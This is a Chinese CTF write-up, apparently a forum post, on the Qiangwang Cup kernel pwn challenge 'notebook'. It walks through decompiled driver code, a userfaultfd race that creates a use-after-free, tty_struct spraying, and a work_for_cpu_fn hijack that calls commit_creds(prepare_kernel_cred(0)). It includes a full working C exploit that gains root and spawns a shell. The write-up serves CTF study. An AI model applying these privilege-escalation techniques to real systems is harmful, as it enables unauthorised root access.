首页
论坛
课程
招聘
[原创]强网杯线上赛Linux内核Pwn之notebook
2021-7-14 19:58 4155

[原创]强网杯线上赛Linux内核Pwn之notebook

2021-7-14 19:58
4155

目录

强网杯线上赛内核pwn notebook详解

刚刚从强网杯的线下赛回来,想整理一下这届强网杯我觉得不错的一些题or思路。

题目概览

缓解:kaslr,smep,smap

 

额外加固:slab hardened

 

之前发现了一个从bzImage中提取vmlinux并恢复部分符号的脚本,还不错:
https://github.com/marin-m/vmlinux-to-elf

mynote_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  userarg notearg; // [rsp+0h] [rbp-28h]
 
  _fentry__(file);
  copy_from_user(&notearg, v3, 0x18LL);
  if ( cmd == 0x100 )
    return noteadd(notearg.idx, notearg.size, notearg.buf);
  if ( cmd <= 0x100 )
  {
    if ( cmd == 0x64 )
      return notegift(notearg.buf);
  }
  else
  {
    if ( cmd == 0x200 )
      return notedel(notearg.idx);
    if ( cmd == 0x300 )
      return noteedit(notearg.idx, notearg.size, notearg.buf);
  }
  printk("[x] Unknown ioctl cmd!\n", notearg.size);
  return -100LL;
}

noteadd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall noteadd(size_t idx, size_t my_size, void *buf)
{
  __int64 v3; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // r14
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行add
  {
    ret = -1LL;
    printk("[x] Add idx out of range.\n", my_size);
  }
  else                                          // idx不越界的话
  {
    user_buf = v3;
    entry = &notebook[idx];
    raw_read_lock(&lock);                       // 读锁
    orgisize = entry->size;                     // 首先保存原有的size(如果对应的idx中本来就有信息)
    entry->size = my_size;                      // 赋值为新size
    if ( my_size > 0x60 )                       // 如果超过0x60,恢复size,ret
    {
      entry->size = orgisize;
      ret = -2LL;
      printk("[x] Add size out of range.\n", my_size);
    }
    else                                        // size<=0x60为合法的size
    {
      copy_from_user(name, user_buf, 0x100LL);
      if ( entry->note )                        // 如果note存在的话,恢复size,ret
      {
        entry->size = orgisize;
        ret = -3LL;
        printk("[x] Add idx is not empty.\n", user_buf);
      }
      else                                      // 如果note不存在,此时可以正常进行添加
      {
        entry->note = _kmalloc(my_size, 0x24000C0LL);
        printk("[+] Add success. %s left a note.\n", name);
        ret = 0LL;
      }
    }
    raw_read_unlock(&lock);
  }
  return ret;
}

noteedit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
  __int64 buf_1; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // rax
  __int64 addr; // r12
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行edit
  {
    ret = -1LL;
    printk("[x] Edit idx out of range.\n", newsize);
    return ret;
  }
  user_buf = buf_1;
  entry = &notebook[idx];
  raw_read_lock(&lock);                         // 读锁
  orgisize = entry->size;                       // 保存原本的size
  entry->size = newsize;                        // 先把newsize赋值过去
  if ( orgisize == newsize )
  {
    ret = 1LL;
    goto editout;
  }
  addr = (*krealloc.gap0)(entry->note, newsize, 0x24000C0LL);// free掉本来的chunk,然后申请新的chunk
  copy_from_user(name, user_buf, 0x100LL);      // 从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd
  if ( !entry->size )                           // 如果新的size为0,等价于kfree(entry->note)
  {
    printk("free in fact", user_buf);
    entry->note = 0LL;
    ret = 0LL;
    goto editout;
  }
  if ( _virt_addr_valid(addr) )                 // 如果是有效地址的话
  {
    entry->note = addr;                         // 这里只用更新addr,因为size已经在前面更新过了
    ret = 2LL;
editout:
    raw_read_unlock(&lock);
    printk("[o] Edit success. %s edit a note.\n", name);
    return ret;
  }
  printk("[x] Return ptr unvalid.\n", user_buf);
  raw_read_unlock(&lock);
  return 3LL;
}

notegift

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall notegift(void *buf)
{
  __int64 v1; // rsi
 
  _fentry__(buf);
  printk("[*] The notebook needs to be written from beginning to end.\n", v1);
  copy_to_user(buf, notebook, 0x100LL);
  printk("[*] For this special year, I give you a gift!\n", notebook);
  return 100LL;
}

mynote_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ssize_t __fastcall mynote_write(file *file, const char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )
  {
    printk("[x] Write idx out of range.\n", user_buf);
    result = -1LL;
  }
  else
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 0LL);
    if ( copy_from_user(addr, user_buf, nbytes) )
    {
      printk("[x] copy from user error.\n", user_buf);
      result = 0LL;
    }
    else
    {
      printk("[*] Write success.\n", user_buf);
      result = 0LL;
    }
  }
  return result;
}

mynote_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ssize_t __fastcall mynote_read(file *file, char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )                           // 可以read 0x10
  {
    printk("[x] Read idx out of range.\n", user_buf);
    result = -1LL;
  }
  else                                          // 可以读取 0x10处的内容
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 1LL);
    copy_to_user(user_buf, addr, nbytes);
    printk("[*] Read success.\n", addr);
    result = 0LL;
  }
  return result;
}

利用思路

本篇文章讲解的利用思路是依据线上赛冠军队 @长亭科技 的WP,感觉比我自己的要稳定和便利很多。

思路一(非race泄漏地址)

Step1:
首先我们多次打开ptmx结构体,在打开的时候会在 alloc_tty_struct 函数中调用 tty = kzalloc(sizeof(*tty), GFP_KERNEL); 分配空间(大小0x2e0),对应的是 kmalloc-1024

 

Step2:
然后系统会将tty struct中的struct tty_operations 初始为全局内核变量 ptm_unix98_ops ,它是可以从 /proc/kallsyms 中获取相应地址/偏移。

 

Step3:
之后将喷射后的tty struct通过close给free出去。然后调用noteedit调整note大小到0x2e0,申请多个0x2e0的note,那么就会把我们free出去的tty struct拿回来。输出 ((uint64_t *)note)[3] 位置的值减去偏移即可泄漏kernel base。

思路二(race构造UAF泄漏地址)

我们把目光放在两个用了读锁的函数。发现:

  • 对于 noteedit ,首先会赋值entry->size = new_size ,然后执行 krealloc 调整大小,然后会有一个 copy_from_user(name, user_buf, 0x100LL),在这之后才会更新notelist对应 entry->note
  • 对于 noteadd ,首先会赋值entry->size = size ,如果size大于0x60则恢复为原有的size,之后先进行 copy_from_user(name, user_buf, 0x100LL); 然后再kmalloc更新note entry地址。

于是这就产生了一个问题,如果将 user_buf 设置为一个为没有初始化的内存区域。并且不在userfault中起额外的handler做内存恢复。那么这两个函数就会一直卡在copy_from_user之前。

 

而krealloc又可以产生一个free操作,也就是说现在我们可以通过userfault来制造出一个任意大小的UAF。(因为被卡住的thread无法执行copy_from_user之后的更新notelist中相关地址的代码)

 

Step1:
首先我们注册自己的userfaultfd,监控一块未初始化的内存,而在add和edit的时候由于其只拿了读写锁中的读锁,而不是互斥的写锁,那么这两个函数其实是可以并发的。我们注意到在noteedit和noteadd中都有 copy_from_user(name, user_buf, 0x100LL); 这个从用户态的 user_buf 拷贝的操作,那么我们设置user_buf为mmap后未初始化的内存,在这里触发userfault,当缺页发生时,程序会阻塞掉。我们将notelist填满0x2e0大小的chunk,然后开启0x10个edit线程,0x10个add线程。通过edit线程krealloc对应note为一个很大的size ,此时会触发krealloc的kfree,将我们0x2e0的chunk进行free操作(但此时由于线程被卡在copy_from_user,notelist中的addr并没有被修改,仍是已经free后的chunk addr,但size此时变成了一个极大值,这里就是UAF的位置);接下来喷射大量的 tty_struct 把我们free chunk中填成tty_struct。然后通过add线程修改notelist中的chunksize为正常大小以通过 __check_object_size 的检查。

 

Step2:
第一步结束之后,notelist上的一些note已经被放置成了tty_struct ,我们通过read操作读取对应的notelist上的tty_struct中的成员,泄漏kernel base(参见思路一,实际情况下这里可能是ptm_unix98_ops或者pty_unix98_ops)

 

Step3:
接下来,我们通过伪造一个fake_tty_ops放到notelist的其中项,在fake ops中,我们让ioctl函数指向 work_for_cpu_fn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall work_for_cpu_fn(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 (*v2)(void); // rax
  __int64 v3; // rdi
  __int64 result; // rax
 
  _fentry__(a1);
  v1 = a1;
  v2 = a1[4];                                   // a1+32
  v3 = a1[5];                                   // a1+40
  result = _x86_indirect_thunk_rax(v2);
  v1[6] = result;                               // a1+48
  return result;
}

这个函数是一个很好用的函数,其实做的事情非常简单,调用了 (a1+32),参数为 *(a1+40) ,返回值放在 (a1+48)的位置。配合我们的tty_struct。a1就指向notelist上之前race+UAF得到的tty_struct,然后伪造这个tty_struct 在偏移为32处的值为想调用的函数,40处的值为参数。返回值会被放在48的位置。

 

我们只需要布置出:

1
commit_creds(prepare_kernel_cred(0))

即可。刚好这两个函数调用都只有一个参数,并且第二次调用使用了第一次调用的返回值。这些我们都可以控制。(节省了ROP的过程)

 

最后,针对ptmx调用ioctl函数,即可通过触发 work_for_cpu_fn 调用 commit_creds(prepare_kernel_cred(0))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
 
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h> 
#include <sys/wait.h>
#include "helper.h"
#include <semaphore.h>
#define N 256
#define ADD 0x100
#define LEAK 100
#define DEL 0x200
#define EDIT 0x300
 
#define TTY_STRUCT_SIZE 0x2E0
 
#define PAGE_SIZE (1 << 12)
 
 
char* mod_path = "/dev/notebook";
 
size_t mod_addr;
static int fd;
static int fd2;
static int ptmx_fd[0x100];
int exit_flag=0;
size_t kernel_base = 0;
size_t kernel_offset = 0;
static int flag=0;
char buf[0x2000];
char read_buf[0x2000];
char buffer[0x1000];
void *stuck = (void *)FAULT_PAGE;   //addr trigger fault
size_t victim_id;
 
 
typedef struct arg{
    uint64_t idx;
    uint64_t size;
    void * buf;
}Notearg;
 
 
size_t get_addr(char *name){
    char t1[N];
    FILE *f;
    size_t info;
 
    f = fopen("/tmp/moduleaddr","r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fscanf(f,"%s%d%d%s%s%lx",t1,t1,t1,t1,t1,&info);
    //printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
 
Notearg constructor(int fd , uint64_t idx,uint64_t size,void *buf)
{
    unsigned int cmd = ADD;
    Notearg arg = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
 
    int ret_val = ioctl(fd,cmd,(uint64_t)&arg);
    if(ret_val < 0){
        //printf("constructor failed [id] %d\n",fd);
        exit(-1);
    }
    //printf("[*] constructor success, note id: 0x%x\n",idx);
    return arg;
    //return arg;
}
 
void leak(int fd,Notearg *ptr)
{
    unsigned int cmd = LEAK;
    int ret = ioctl(fd,cmd,(uint64_t)ptr);
 
}
 
 __attribute__((constructor)) static void Init ( void )
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    mod_addr =  get_addr("notebook");
    printf("[+] notebook load addr:0x%lx\n",mod_addr);
}
 
int noteedit(int fd , uint64_t idx,uint64_t newsize,void *buf)
{
    unsigned int cmd = EDIT;
    Notearg arg = {
        .idx = idx,
        .size = newsize,
        .buf = buf,
    };
    int ret_val = ioctl(fd, cmd, (uint64_t)&arg);
    //printf("[ret] %d realloc new size:0x%lx\n",ret_val,newsize);
    return 0;
}
int notefree(int fd, int idx)
{
    int ret;
    unsigned int cmd = DEL;
    Notearg arg = {
        .idx = idx,
    };
    ret = ioctl(fd,cmd,(uint64_t)&arg);
    if(ret<0){printf("[ret] %d [index] %d free failed",ret,idx);}
    //printf("[id] %d free success\n",idx);
};
 
void shell(){
    system("/bin/sh");
}
 
 
void dump(Notearg arg){
    leak(fd, &arg);
    for(int j,i=0;i<0x10*2;i = i+2){
        j = i+1;
        printf("[--dump--] 0x%lx\t0x%lx\n",((uint64_t *)(&arg)->buf)[i], ((uint64_t *)(&arg)->buf)[j]);
    }
}
 
 
sem_t add;sem_t edit;
void *evil_thread_noteadd(void *arg){
    sem_wait(&add);
    //printf("[+] evil_thread_noteadd\n");
    constructor(fd,(int)arg,0x60,stuck);   //trigger our userfaultfd
    return NULL;
}
 
 
void *evil_thread_noteedit(void *arg){
    sem_wait(&edit);
    //printf("[+] evil_thread_noteedit\n");
    noteedit(fd,(int)arg, 0x2000, stuck);   //trigger our userfaultfd
    return NULL;
}
void* handler(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] leak_handler created");
    //getchar();
    sleep(3); //休眠一下,留给子进程足够时间操作
    puts("[+] restore stuck begin");
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    //poll会阻塞,直到收到缺页错误的消息
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)
        puts("[-] Wrong pool return value");
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0) {
        puts("[-]msg error!!");
    }
 
    char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        puts("[-]mmap page error!!");
    struct uffdio_copy uc;
    //初始化page页
    memset(page, 0, sizeof(page));
    uc.src = (unsigned long)page;
    //出现缺页的位置
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    //复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
    //然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构
    //因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
    ioctl(uffd, UFFDIO_COPY, &uc);
 
    puts("[+] handler done!!");
    return NULL;
 
}
 
//read stuct (trigger) -> child process free & spray -> userfault_handler restore stuck -> read from stuck
 
 
int main()
{  
 
    signal(SIGSEGV, shell);
    save_status();
    set_cpu_affinity();
 
 
 
    memset(buf,0,sizeof(buf));
    memset(read_buf,0,sizeof(read_buf));
    printf("[+] buf addr:%p\n",buf);
    fd = open(mod_path,O_RDWR);
    if(fd < 0){perror("[-] fd open failed");exit(-1);}
    fd2 = open(mod_path,O_RDWR);
    if(fd2 < 0){perror("[-] fd2 open failed");exit(-1);}
 
 
    sem_init(&edit,0,0);    //初始化信号量
    sem_init(&add,0,0);
    register_userfault(handler);   //注册新的userfault,监视:void *stuck = (void *)FAULT_PAGE;
 
    Notearg arg = constructor(fd , 0, 0x60 ,buf);
    for(int i=0;i<0x10;i++){
        noteedit(fd,i,TTY_STRUCT_SIZE,buf);
    }
 
    //dump(arg);
    sleep(1);
 
    pthread_t edit_thread;
    pthread_t add_thread;
    for(int index=0;index<0x10;index++){
        if(pthread_create(&edit_thread,NULL,evil_thread_noteedit,(void *)index)){
            perror("pthread_create() failed");
            exit(-1);
        }
    }
    printf("[+] 0x10 edit_threads are set-up : | \n");
 
    for(int i=0;i<0x10;i++){
        sem_post(&edit);
    }
    printf("[+] 0x10 edit_threads launch : ) \n");
 
    sleep(1);
    //此时我们原本申请的多个0x2e0的chunk已经被krealloc free掉,但是由于krealloc后的copy_from_user触发了userfault,导致线程一直被卡住,不会更新notelist上的entry
 
 
 
 
 
    //接下来我们喷射大量的 tty_truct 希望可以将tty_struct喷射到刚刚free掉的chunk中。
    for(int i=0;i<0x100;i++){
        ptmx_fd[i] =  open("/dev/ptmx",1);
        if(ptmx_fd[i]<=0){printf("open ptmx failed\n");}
    }
    printf("[+] spray 0x100 tty success : )\n");
 
 
    //dump(arg);
    //getchar();
    sleep(1);
    for(int index=0;index<0x10;index++){
        if(pthread_create(&add_thread,NULL,evil_thread_noteadd,(void *)index)){
            perror("pthread_create() failed");
            exit(-1);
        }
    }
    printf("[+] 0x10 add_threads are set-up : | \n");
 
    for(int i=0;i<0x10;i++){
        sem_post(&add);
    }
    printf("[+] 0x10 add_threads launch : ) \n");
 
    sleep(1);
    //dump(arg);
    //getchar();
    for(int i=0;i<0x10;i++){
        read(fd,read_buf,i);
        if((((size_t *)read_buf)[3]&0xfff)==0x320){
            puts("[*] detect pty_unix98_ops success : )");
            victim_id = i;
            printf("[*] victim id:%d\n",victim_id);
            kernel_base = ((uint64_t *)read_buf)[3] - 0xe8e320;
            kernel_offset = get_kernel_offset(kernel_base);
            break;
        }
        if((((size_t *)read_buf)[3]&0xfff)==0x440){
            puts("[*] detect ptm_unix98_ops success : )");
            victim_id = i;
            printf("[*] victim id:%d\n",victim_id);
            kernel_base = ((uint64_t *)read_buf)[3] - 0xe8e440;
            kernel_offset = get_kernel_offset(kernel_base);
            break;
 
        }
    }
    if(kernel_base == 0 || (kernel_base & 0xfff)!=0){puts("[-] leak kernel base failed");exit(0);}
    printf("[+] kernel base:%#lx\n",kernel_base);
    printf("[+] kernel offset:%#lx\n",kernel_offset);
    size_t prepare_kernel_cred = 0xffffffff810a9ef0+kernel_offset;
    size_t commit_creds = 0xffffffff810a9b40 + kernel_offset;
    size_t work_for_cpu_fn = 0xffffffff8109eb90 + kernel_offset;
    printf("[+] prepare_kernel_cred:%#lx\n",prepare_kernel_cred);
    printf("[+] commit_creds:%#lx\n",commit_creds);
    printf("[+] work_for_cpu_fn:%#lx\n",work_for_cpu_fn);
 
 
    /* 接下来生成fake ops */
    void *fake_tty_ops = malloc(sizeof(struct tty_operations));
    printf("[+] %p\n",fake_tty_ops);
    noteedit(fd,8,sizeof(struct tty_operations),buf);                 //将fake ops放到0x8的chunk
    dump(arg);
 
    ((struct tty_operations *)fake_tty_ops)->ioctl = work_for_cpu_fn;  
    write(fd,fake_tty_ops,8);                                        //将fake ops的ioctl改成work_for_cpu_fn
 
 
    uint64_t target_ops,target_tty_struct;
    leak(fd, &arg);
    for(int j,i=0;i<0x10*2;i = i+2){
        j = i+1;
        //printf("[--dump--] 0x%lx\t0x%lx\n",((uint64_t *)(&arg)->buf)[i], ((uint64_t *)(&arg)->buf)[j]);
        if(((uint64_t *)(&arg)->buf)[j] == 0x100){
            target_ops = ((uint64_t *)(&arg)->buf)[i];
        }
        if(i==victim_id){
           target_tty_struct = ((uint64_t *)(&arg)->buf)[i];
        }
    }
 
    printf("[+] target_tty_struct:%#lx\n",target_tty_struct);   //我们要攻击的tty struct地址
    printf("[+] target_ops:%#lx\n",target_ops);                 //我们把fake ops放在了哪里
 
    read(fd,buffer,victim_id);
 
 
    uint64_t ori_val_at_offset_48;
    //调用ptmx的ioctl触发prepare_kernel_cred,因为ioctl第一个参数指向其本身(tty struct)
    ori_val_at_offset_48 = *(uint64_t *)(buffer + 48);  //因为后续的操作会破坏这里的值,所以我们首先保存一下
    *(uint64_t*)(buffer+24) = target_ops;               //const struct tty_operations *ops;
    *(uint64_t*)(buffer+32) = prepare_kernel_cred;      //prepare_kernel_cred(0);
    *(uint64_t*)(buffer+40) = 0;                        //第一个参数
    write(fd,buffer,victim_id);                     
    int ret;
    printf("[+] Trigger prepare_kernel_cred()\n");      //0xffffffff815b9f70 <pty_unix98_ioctl>:
 
    for(int i=0;i<0x100;i++){
        ret = ioctl(ptmx_fd[i],233,233);
    }
 
    sleep(2);
    uint64_t ret_val_at_offset_48;
 
    read(fd,buffer,victim_id);
    ret_val_at_offset_48 = *(uint64_t *)(buffer + 48);  //从偏移为48的位置获取返回值
    printf("[+] buffer addr: %p\n",buffer);
    getchar();
    printf("[+] Return by prepare_kernel_cred():%#lx\n",ret_val_at_offset_48);
    *(uint64_t*)(buffer+32) = commit_creds;             //commit_creds
    *(uint64_t*)(buffer+40) = ret_val_at_offset_48;     //第一个参数为prepare_kernel_cred(0)的返回值
    *((uint64_t *)buffer + 48) = ori_val_at_offset_48;  //restore offset 48
    write(fd,buffer,victim_id);
 
    //getchar();
    printf("[+] Trigger commit_creds()\n");
    for(int i=0;i<0x100;i++){
        ret = ioctl(ptmx_fd[i],233,233);
    }
 
 
 
    printf("[+] getuid() = %d\n",getuid());
    if(getuid()==0){
        printf("\n\n[*] Pwned by ScUpax0s!\n");
        shell();
    }else{
        printf("[-] Privileged fail\n");
        exit(0);
    }
    getchar();
    close(fd);
    close(fd2);
 
    return 0;
}

效果:
图片描述

ref

kernel exploit 有用的结构体

 

线程同步,信号量


[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-7-16 15:20 被ScUpax0s编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享